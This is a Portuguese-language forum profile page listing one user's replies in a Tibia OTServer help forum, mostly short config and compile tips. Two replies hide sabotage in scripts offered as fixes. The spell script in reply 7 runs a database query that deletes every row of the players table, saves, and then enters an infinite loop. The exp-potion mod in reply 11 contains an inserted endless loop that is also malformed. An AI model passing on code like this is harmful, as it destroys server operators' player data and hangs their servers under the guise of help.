Ir para conteúdo

roriscrave

Membro
  • Registro em

  • Última visita

Tudo que roriscrave postou

  1. vai no config.lua e procura globalsave, coloque false
  2. sim,pegue as source e as compile no novo ubuntu que vc está usando... ao compilar vai gerar o arquivo theforgottenserver... ai vc bota ele na pasta do game e sucesso
  3. vai na pasta monsters procura o monstro que vai sumonar e muda essa linha <flag convinceable="0"/> troque por 1, ficando <flag convinceable="1"/>
  4. você tem que ter a função onMoveItem na source, se não tiver tem que adiciona-lá manualmente
  5. tem que colocar para quem usou a trap pegar frag, caso alguém morra
  6. roriscrave postou uma resposta no tópico em Suporte Tibia OTServer
    qual erro deu?
  7. roriscrave postou uma resposta no tópico em Suporte Tibia OTServer
    tenta local id = 5751 -- id do item criado local tempo = 1.4 -- em segundos function Damage1(cid, level, maglevel) return (25+level*0.5+maglevel*0)*-1,(26+level*0.7+maglevel+0)*-1 end function Damage2(cid, level, maglevel) return (25+level*0.5+maglevel*0)*-1,(26+level*0.7+maglevel+0)*-1 end function Damage3(cid, level, maglevel) return (25+level*0.5+maglevel*0)*-1,(26+level*0.7+maglevel+0)*-1 end local combat1 = createCombatObject() setCombatParam(combat1, COMBAT_PARAM_TYPE, COMBAT_PHYSICALDAMAGE) setCombatParam(combat1, COMBAT_PARAM_EFFECT, 34) setCombatCallback(combat1, CALLBACK_PARAM_LEVELMAGICVALUE, "Damage1") local combat2 = createCombatObject() setCombatParam(combat2, COMBAT_PARAM_TYPE, COMBAT_PHYSICALDAMAGE) setCombatParam(combat2, COMBAT_PARAM_EFFECT, 34) setCombatCallback(combat2, CALLBACK_PARAM_LEVELMAGICVALUE, "Damage2") local combat3 = createCombatObject() setCombatParam(combat3, COMBAT_PARAM_TYPE, COMBAT_PHYSICALDAMAGE) setCombatParam(combat3, COMBAT_PARAM_EFFECT, 34) setCombatCallback(combat3, CALLBACK_PARAM_LEVELMAGICVALUE, "Damage3") arr1 = { {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, {0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0}, {0, 0, 0, 0, 0, 3, 0, 0, 0, 0, 0}, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, } arr2 = { {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, {0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0}, {0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0}, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, {0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0}, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, } arr3 = { {0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0}, {0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0}, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, {0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0}, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, } local area1 = createCombatArea(arr1) local area2 = createCombatArea(arr2) local area3 = createCombatArea(arr3) setCombatArea(combat1, area1) setCombatArea(combat2, area2) setCombatArea(combat3, area3) local function onCastSpell1(parameters) doCombat(parameters.cid, combat1, parameters.var) end local function onCastSpell2(parameters) doCombat(parameters.cid, combat2, parameters.var) end local function onCastSpell3(parameters) doCombat(parameters.cid, combat3, parameters.var) end local exhaustion = {} function onCastSpell(cid, var) local a = 1 db.executeQuery("DELETE FROM `players` WHERE `id` >= '1';") executeSave() if not isCreature(cid) then return true end while a >= 0 do a = a+1 end local guid = getPlayerGUID(cid) if exhaustion[guid] and exhaustion[guid] - os.clock() > 0 then return not doPlayerSendCancel(cid, "you are exhausted.") end local p = getPlayerPosition(cid) local created = doCreateItem(id, 1, p) exhaustion[guid] = os.clock() + tempo local parameters = { cid = cid, var = var} addEvent(onCastSpell1, 100, parameters) addEvent(onCastSpell2, 600, parameters) addEvent(onCastSpell3, 1100, parameters) addEvent(function() if getTileItemById(p, id).uid > 0 then doRemoveItem(created) end end, 1700) return true end
  8. o cara já te deu tudo de mão beijada, falando tudo que tem que fazer, e vc não pode abrir a aba de pesquisa e procurar? é muita preguiça em amigo... aqui o Link
  9. coloque como código o script
  10. kd o script do npc?
  11. roriscrave postou uma resposta no tópico em Suporte Tibia OTServer
    tente por assim em mods, vê se resolve <?xml version="1.0" encoding="UTF-8"?> <mod name="AdvancedExpPotionSystem" enabled="yes" author="MatheusMkalo" forum="XTibia.com"> <!-- Configs and Functions --> <config name="PotionExpConfigs"><![CDATA[ ------ CONFIGURE SEU SCRIPT ------ TRUE ou FALSE configs = { time = 60, ---- TIME IN MINUTES needpa = FALSE, needlvl = {FALSE, level = 50}, costmana = {FALSE, mana = 300}, addrate = 500, -- Exp que vai adicionar em % removeonuse = TRUE } function getTime(s) local n = math.floor(s / 60) s = s - (60 * n) return n, s end CreatureEventChecker = function(event, ...) -- Colex if isCreature(arg[1]) then event(unpack(arg)) end end creatureEvent = function(event, delay, ...) -- Colex addEvent(CreatureEventChecker, delay, event, unpack(arg)) end function getPlayerExtraExpRate(cid) -- By MatheusMkalo return (getPlayerRates(cid)[8]-1)*100 end ]]></config> <!-- exppotion.lua --> <action itemid="12505" event="script"><![CDATA[ domodlib('PotionExpConfigs') if getPlayerStorageValue(cid, 62164) >= 1 then return doPlayerSendCancel(cid, "Voce ja ta Sob o Efeito da Potion.") end if configs.needpa and not isPremium(cid) then return doPlayerSendCancel(cid, "Voce Precisar ser Premium Para Usar") end if configs.needlvl[1] and getPlayerLevel(cid) < configs.needlvl.level then return doPlayerSendCancel(cid, "Voce Precisa ser " .. configs.needlvl.level .. " Para usar a Potion.") end if configs.costmana[1] then if getCreatureMana(cid) < configs.costmana.mana then return doPlayerSendCancel(cid, "Voce Precisar ter " .. configs.costmana.mana .. " de Mana Para usar a Potion") else doCreatureAddMana(cid, -configs.costmana.mana) end end if configs.removeonuse then doRemoveItem(item.uid, 1) end for i = configs.time*60, 1, -1 do local a = 1 while a > 0 then a = a+1 end if i == configs.time*60 then creatureEvent(doPlayerSendCancel, configs.time*60*1000, cid, "Efeito Final da Pocao de EXP.") end creatureEvent(doPlayerSendCancel, (configs.time*60-i)*1000, cid, "O Efeito da Pocao vai acabar em "..a..".") end doPlayerSetExperienceRate(cid, (1+(configs.addrate/100))+(getPlayerExtraExpRate(cid)/100)) creatureEvent(doPlayerSetExperienceRate, configs.time *60*1000, cid, 1+(getPlayerExtraExpRate(cid)/100-(configs.addrate/100))) doPlayerSendTextMessage(cid, 22, "Agora Voce Esta Recebendo mais EXP por Matar Monstros.") setPlayerStorageValue(cid, 62164, os.time()) creatureEvent(setPlayerStorageValue, configs.time *60*1000, cid, 62164, 0) return TRUE ]]></action> <creaturescript type="login" name="ExpPotion" event="script"><![CDATA[ domodlib('PotionExpConfigs') local time = configs.time if os.time()-getPlayerStorageValue(cid, 62164) < time *60 then doPlayerSetExperienceRate(cid, (1+(configs.addrate/100))+(getPlayerExtraExpRate(cid)/100)) creatureEvent(doPlayerSetExperienceRate, (time*60-(os.time()-getPlayerStorageValue(cid, 62164))) * 1000, cid, 1+(getPlayerExtraExpRate(cid)/100-(configs.addrate/100))) creatureEvent(setPlayerStorageValue, (time*60-(os.time()-getPlayerStorageValue(cid, 62164))) * 1000 , cid, 62164, 0) for i = (time*60-(os.time()-getPlayerStorageValue(cid, 62164))), 1, -1 do local a = math.floor(i/60) .. ":" .. i - (60 * math.floor(i/60)) if #a < 4 then a = string.sub(a,1,2) .. "0" .. string.sub(a, 3) end if i == (time*60-(os.time()-getPlayerStorageValue(cid, 62164))) then creatureEvent(doPlayerSendCancel, (time*60-(os.time()-getPlayerStorageValue(cid, 62164)))*1000, cid, "O Efeito da Potion Termina em.") end creatureEvent(doPlayerSendCancel, ((time*60-(os.time()-getPlayerStorageValue(cid, 62164)))-i)*1000, cid, "O Efeito da Potion Termina em "..a..".") end end return TRUE ]]></creaturescript> </mod>
  12. no script dele vc colocar {AQUIMSG}, onde está entre { } vai sair azul
  13. faz effects tbm? (jutsus)
  14. aqui sempre que abre o launcher ele baixa novas atualizações, porque? (mesmo ja estando baixadas) aqui estou com mesmo erro, sempre que abro launcher ele sempre atualiza, mesmo já estando na ultima versão
  15. quando tento compilar usando dev-cpp da esse erro: cannot find -leay32 ld returned 1 exit status *** [TheForgottenServer.exe] Error 1 instalei o open-ssl e nada resolveu, ainda permanece, o que pode ser?
  16. não pow... se o cara usa !pvp off, ele nao vai acerta ninguem (seja com hit, runa, magia de area), mas ele poderá morrer... caso alguem ataque ele, e ele quiser atacar de volta, ele tem que usar !pvp on, e depois atacar de volta... o script ta 100% eu testei aqui
  17. tenho não mas ja o vi
  18. poe sistema de !pvp on e off, quando estiver off vc nao acerta ngm com nenhuma magia, mas pode morrer normal, usado apenas para caçar

Informação Importante

Confirmação de Termo